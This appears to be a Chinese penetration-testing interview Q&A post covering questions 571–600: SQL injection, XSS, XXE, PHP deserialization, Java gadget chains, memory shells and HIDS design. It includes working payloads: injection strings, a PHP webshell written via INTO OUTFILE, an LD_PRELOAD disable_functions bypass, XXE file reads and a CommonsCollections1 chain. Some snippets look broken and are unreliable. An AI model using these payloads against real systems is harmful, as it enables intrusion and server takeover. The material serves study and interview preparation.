2026年渗透测试面试题总结-20(题目+回答)

安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。

目录

[571. SQL注入漏洞全解](#571. SQL注入漏洞全解)

[572. SQL注入写Webshell](#572. SQL注入写Webshell)

[573. XSS类型与DOM vs 反射XSS](#573. XSS类型与DOM vs 反射XSS)

[574. XSS防御方案对比](#574. XSS防御方案对比)

[575. 密码找回逻辑漏洞](#575. 密码找回逻辑漏洞)

[576. 甲方降低逻辑漏洞策略](#576. 甲方降低逻辑漏洞策略)

[577. OAuth认证漏洞场景](#577. OAuth认证漏洞场景)

[578. CSP绕过方式](#578. CSP绕过方式)

[579. 无文件上传的LFI利用](#579. 无文件上传的LFI利用)

[580. XXE漏洞原理与利用](#580. XXE漏洞原理与利用)

[581. phar://触发反序列化](#581. phar://触发反序列化)

[582. 绕过disable_functions](#582. 绕过disable_functions)

[583. %00截断原理与修复](#583. %00截断原理与修复)

[584. WebShell绕过技术](#584. WebShell绕过技术)

[585. PHP伪协议攻击场景](#585. PHP伪协议攻击场景)

[586. mail函数攻击面](#586. mail函数攻击面)

[587. 无字符WebShell构造](#587. 无字符WebShell构造)

[588. ClassLoader机制](#588. ClassLoader机制)

[589. CommonsCollections1利用链](#589. CommonsCollections1利用链)

[590. Fastjson vs 原生反序列化](#590. Fastjson vs 原生反序列化)

[591. Tomcat内存马持久化](#591. Tomcat内存马持久化)

[592. CC1执行多条语句](#592. CC1执行多条语句)

[593. Shiro反序列化漏洞](#593. Shiro反序列化漏洞)

[594. 冰蝎联动CS原理](#594. 冰蝎联动CS原理)

[595. serialVersionUID作用](#595. serialVersionUID作用)

[596. 常用扫描器特点](#596. 常用扫描器特点)

[597. HIDS设计要点](#597. HIDS设计要点)

[598. Python三大特性](#598. Python三大特性)

[599. 常用Python库](#599. 常用Python库)

[600. Celery原理与特](#600. Celery原理与特)

复制代码
571	介绍 SQL注入漏洞成因,如何防范?注入方式有哪些?除了拖取数据库数据,利用方式还有哪些?
572	如何通过sql注入写shell
573	介绍一下XSS漏洞的种类,dom型XSS和反射XSS的区别是什么?
574	如何防范 XSS 漏洞,在前端如何做,在后端如何做,哪里更好,为什么?
575	讲述一下找回密码可能涉及的逻辑漏洞
576	假设你是甲方的一名安全工程师,应该如何降低逻辑漏洞的出现率?
577	oauth认证过程中可能会出现什么问题,导致什么样的漏洞?
578	CSP应该如何使用及配置,有哪些绕过CSP的方式
579	已知某网站存在LFI(本地文件包含),但是无法上传任何文件,针对该情况有哪些利用方式?
580	简述一下XXE漏洞产生的原理,针对PHP和JAVA,XXE分别可以进行哪些恶意利用?
581	PHP中如何使用phar://伪协议触发反序列化,利用场景以及前提条件有哪些?
582	如何绕过php.ini中disable_function的限制,有哪些方法,其中成功率最高的方法是哪个,为什么?
583	文件上传中%00截断的原理是什么,官方是如何设计修复方案的?
584	实现一个一句话webshell,绕过RASP的方式有哪些,绕过机器学习检测的方式有哪些,绕过AST-Tree的方式有哪些
585	PHP伪协议的攻击场景有哪些?
586	mail函数的攻击面有哪些?
587	如何不通过数字以及字符构造webshell,其原理是什么,此类特性还会造成什么安全问题?
588	ClassLoader是什么? 加载自定义ClassLoader的前提是什么? 
589	大概讲一下CommonCollections1的利用链,该利用链有什么样的限制? 
590	fastjson的反序列化和原生反序列化漏洞的区别是什么? 
591	在tomcat中实现内存马有哪些方式,有办法实现重启之后依然不会消失的内存马吗? 
592	单向代码执行链如何实现执行多条语句,如CommonCollections1 
593	请简单讲述一下Shiro反序列化漏洞的原理,无法使用ysoerial中common-collections利用链的原因是什么? 
594	冰蝎当中通过Java联动Cobalt Strike上线的原理是什么? 
595	serialVersionUID 在反序列化中的作用是什么? 
596	简要介绍自己常用的扫描器和其实现上的特点
597	如果让你设计一个HIDS,应该如何设计
598	介绍一下Python中的迭代器、生成器、装饰器
599	介绍自己常用的python库
600	讲一讲celery的特点以及原理

571. SQL注入漏洞全解

复制代码
Mermaid

graph LR A[漏洞成因] --> B[动态拼接SQL] B --> C[用户输入未过滤] C --> D[执行恶意SQL]

注入方式

  1. Union注入' union select 1,@@version-- -
  2. 布尔盲注' and substr(database(),1,1)='a'-- -
  3. 时间盲注' and if(1=1,sleep(5),0)-- -
  4. 报错注入' and updatexml(1,concat(0x7e,version()),1)-- -

防御方案

复制代码
Java

// 参数化查询示例(Java) PreparedStatement stmt = conn.prepareStatement("SELECT * FROM users WHERE id=?"); stmt.setInt(1, userId); // 自动转义

其他利用方式

  • 文件读写LOAD_FILE('/etc/passwd') / INTO OUTFILE
  • 系统命令执行:MySQL UDF提权
  • 逻辑绕过 :修改密码' OR 1=1-- -

572. SQL注入写Webshell

条件

  • 数据库有文件写入权限(secure_file_priv为空)
  • 已知绝对路径(如通过报错显示)

示例

复制代码
Sql

-- MySQL写Shell SELECT '<?php eval($_POST[cmd]);?>' INTO OUTFILE '/var/www/html/shell.php'; -- MSSQL写Shell EXEC sp_makewebtask 'C:\\inetpub\\wwwroot\\shell.aspx', '<?% Response.Write(System.Diagnostics.Process.Start("cmd.exe")) %>';


573. XSS类型与DOM vs 反射XSS

类型 触发位置 示例
存储型XSS 数据库→多用户可见 评论框插入恶意脚本
反射型XSS URL参数→单次响应 http://site.com?search=<script>alert(1)</script>
DOM型XSS 前端JS动态修改DOM document.write(location.hash)

DOM vs 反射

  • 反射XSS:服务端返回未过滤内容
  • DOM XSS:纯前端执行,无需服务端交互

574. XSS防御方案对比

防御层 前端方案 后端方案 优劣
输入过滤 JS转义HTML标签 框架过滤器(如Spring Security) 后端更可靠(前端可绕过)
输出编码 textContent替代innerHTML 模板引擎自动转义(Thymeleaf) 前后端协同最佳
高级防护 CSP策略 设置Cookie HttpOnly CSP需后端配置,但防护最全面

CSP配置示例

复制代码
Http

Content-Security-Policy: default-src 'self'; script-src 'nonce-random123'


575. 密码找回逻辑漏洞

  1. 验证码爆破:4位数字码可暴力破解
  2. 邮箱劫持 :修改请求参数email=attacker@mail.com
  3. Token泄漏:URL中Token被浏览器历史记录
  4. 问题可预测:如"出生地"可通过社交工程获知

576. 甲方降低逻辑漏洞策略

复制代码
Mermaid

graph TD A[需求设计] --> B[威胁建模] B --> C[代码审计] C --> D[自动化测试] D --> E[人工渗透]

关键措施

  • 流程标准化:敏感操作强制二次确认
  • 数据校验:业务规则引擎(如Drools)校验订单状态
  • 监控异常:用户行为分析(UBA)检测批量重置请求

577. OAuth认证漏洞场景

漏洞类型 成因 危害
隐式授权劫持 响应类型未校验 → Token泄露 账户接管
CSRF攻击 授权码未绑定Session 绑定攻击者账号
Scope越权 未限制权限范围 → 获取额外数据 隐私泄露

578. CSP绕过方式

配置示例

复制代码
Http

Content-Security-Policy: default-src 'none'; script-src 'self' https://trusted.cdn.com

绕过手法

  1. JSONP注入<script src="/api?callback=alert(1)"></script>
  2. 基础路径滥用<base href="https://evil.com"> + 相对路径脚本
  3. AngularJS沙箱逃逸 :利用{``{$new.constructor('alert(1)')()}}

579. 无文件上传的LFI利用

  1. 日志注入 :包含Apache日志/proc/self/fd/1,通过User-Agent注入PHP代码
  2. 环境变量/proc/self/environ 注入恶意Payload
  3. PHP伪协议php://filter/convert.base64-encode/resource=index.php 读取源码

580. XXE漏洞原理与利用

原理:XML解析器未禁用外部实体引用

复制代码
Xml

<!-- 恶意XML --> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <foo>&xxe;</foo>

PHP利用

  • 文件读取:php://filter/read=convert.base64-encode/resource=/etc/passwd
  • SSRF:SYSTEM "http://internal-server"

Java利用

  • 盲注:外带数据到DNS日志
  • 反序列化:利用XSLT执行代码

581. phar://触发反序列化

前提条件

  • 存在文件操作函数(如file_exists
  • phar.readonly配置为0(默认1需绕过)

利用步骤

  1. 构造恶意序列化对象
  2. 打包为PHAR文件
  3. 触发:file_exists('phar:///path/to/exploit.phar')

582. 绕过disable_functions

方法 成功率 原理
LD_PRELOAD劫持 覆盖glibc函数(如getuid)
FFI扩展 PHP 7.4+直接调用C函数
ImageMagick 利用Delegate命令执行

LD_PRELOAD示例

复制代码
C

// evil.c #include <stdlib.h> void payload() { system("id > /tmp/pwn"); } int geteuid() { payload(); return 0; }

复制代码
Bash

gcc -shared -fPIC evil.c -o evil.so LD_PRELOAD=./evil.so php -r "geteuid();"


583. %00截断原理与修复

原理 :C语言风格字符串遇\0终止,导致路径截断

复制代码
Php

// 漏洞代码 $file = $_GET['file']; // 传入 evil.jpg%00.php move_uploaded_file($tmp_name, "uploads/$file");

修复

  • PHP 5.3.4+默认修复
  • 手动过滤:$file = str_replace("\0", '', $file);

584. WebShell绕过技术

RASP绕过

  • 反射调用:Class.forName("java.lang.Runtime").getMethod("exec")
  • JNI调用本地代码

机器学习绕过

  • 代码混淆:(new ${''}[@] {'j','a','v','a'}.('l'+'a'+'n'+'g').('R'+'u'+'n'+'t'+'i'+'m'+'e').('g'+'e'+'t'+'R'+'u'+'n'+'t'+'i'+'m'+'e').('i'+'n'+'v'+'o'+'k'+'e').('e'+'x'+'e'+'c').('c'+'m'+'d')

AST-Tree绕过

  • 语法树注入:通过注释嵌入恶意代码
  • 动态加载:define('EVIL', base64_decode('ZXZhbCgkX1BPU1RbY21kXSk7'));

585. PHP伪协议攻击场景

  1. 文件包含?file=php://filter/read=convert.base64-encode/resource=index.php
  2. 数据泄露php://input读取POST原始数据
  3. 反序列化phar://触发
  4. 日志污染expect://id执行命令

586. mail函数攻击面

  1. 参数注入

    复制代码
    Php

    mail("user@test", "title", "msg", "-f" . $_GET['from']); // 传入:attacker@evil.com -X /tmp/exploit.php

  2. 邮件头伪造 :注入CC:Bcc:实现邮件轰炸

  3. 邮件服务器漏洞:利用MIME解析漏洞触发RCE


587. 无字符WebShell构造

原理 :利用JSFuck或PHP非字母数字编程
示例

复制代码
Php

<?= $_[![]]($_[!![]]); // $_[0]($_[1]) // 传入参数:0=system&1=id

安全问题

  • 代码混淆绕过WAF
  • 隐蔽后门植入

588. ClassLoader机制

定义 :Java中动态加载类的核心接口
自定义前提

  • 类未由父加载器加载
  • 未破坏双亲委派模型
  • 可访问目标类字节码

589. CommonsCollections1利用链

复制代码
Mermaid

graph LR A[InvokerTransformer] --> B[ChainedTransformer] B --> C[TransformedMap] C --> D[AnnotationInvocationHandler]

限制

  • JDK ≤ 8u65(高版本修复AnnotationInvocationHandler
  • 目标需有CC库依赖

590. Fastjson vs 原生反序列化

特性 Fastjson Java原生
触发点 @type指定恶意类 readObject方法
利用链 依赖getter/setter 需实现Serializable接口
修复难度 黑名单易绕过 重写ObjectInputStream

591. Tomcat内存马持久化

实现方式

  • Filter型:动态注册恶意Filter
  • Servlet型:添加路由映射
  • Agent型:Attach机制修改字节码

持久化方案

  • 写入JSP文件:通过内存马写文件
  • 修改web.xml:需文件系统权限

592. CC1执行多条语句

方案 :利用TransformChain嵌套多个命令

复制代码
Java

Transformer[] transformers = new Transformer[] { new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"cmd1"}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"cmd2"}) }; new ChainedTransformer(transformers).transform(null);


593. Shiro反序列化漏洞

原理 :AES密钥硬编码 → 攻击者伪造Cookie触发反序列化
CC链不可用原因

  • Shiro自带CC库版本无漏洞
  • 需额外依赖(如Beanutils)

594. 冰蝎联动CS原理

  1. 冰蝎上传CS的Beacon JAR
  2. 通过ClassLoader动态加载恶意类
  3. 反射调用Beaconmain方法上线

595. serialVersionUID作用

  • 版本控制:确保序列化/反序列化的类结构一致
  • 兼容性:手动指定可避免自动生成导致的兼容问题

596. 常用扫描器特点

工具 特点
Nmap 协议探测深度 + 脚本引擎灵活性
BurpSuite 交互式测试 + 插件生态强大
Nessus 漏洞库全面 + 合规检查

597. HIDS设计要点

复制代码
Plaintext

1. 数据采集层:文件监控(inotify)+ 进程行为(eBPF) 2. 传输层:加密通道(TLS)+ 压缩 3. 分析层:规则引擎(YARA)+ 机器学习模型 4. 响应层:自动隔离恶意进程 + 告警推送


598. Python三大特性

迭代器

复制代码
Python

class Count: def __iter__(self): self.n = 0; return self def __next__(self): self.n += 1 return self.n

生成器

复制代码
Python

def fib(): a, b = 0, 1 while True: yield a a, b = b, a+b

装饰器

复制代码
Python

def log(func): def wrapper(*args): print(f"Called {func.__name__}") return func(*args) return wrapper


599. 常用Python库

库名 用途
Requests HTTP请求
Scapy 网络数据包操作
PyCryptodome 密码学操作
Impaket 内网渗透协议库

600. Celery原理与特点

复制代码
Mermaid

graph LR A[生产者] --> B[消息队列] B --> C[Worker] C --> D[执行任务]

特点

  • 分布式:支持多Worker水平扩展
  • 异步处理:耗时任务后台执行
  • 定时任务:Beat组件调度周期任务
  • 结果存储:Redis/RabbitMQ持久化
相关推荐
EmbedLinX4 小时前
嵌入式之协议解析
linux·网络·c++·笔记·学习
凉、介4 小时前
VMware 三种网络模式(桥接 / NAT / Host-Only)原理与实验解析
c语言·网络·笔记·操作系统·嵌入式·vmware
翼龙云_cloud4 小时前
阿里云渠道商:阿里云 ECS 从安全组到云防火墙的实战防护指南
安全·阿里云·云计算
常利兵4 小时前
2026年,Android开发已死?不,它正迎来黄金时代!
android
Aliex_git4 小时前
跨域请求笔记
前端·网络·笔记·学习
Risehuxyc5 小时前
备份三个PHP程序
android·开发语言·php
程序猿阿伟5 小时前
《TypeScript中Protobuf到运行时类型安全的转换指南》
javascript·安全·typescript
小白电脑技术5 小时前
飞牛漏洞焦虑?别瞎折腾WAF了!用Lucky五步搞定“防爬墙”
服务器·网络·安全
tzy2335 小时前
极简版本的 TCP / IP 协议栈介绍
网络·网络协议·tcp/ip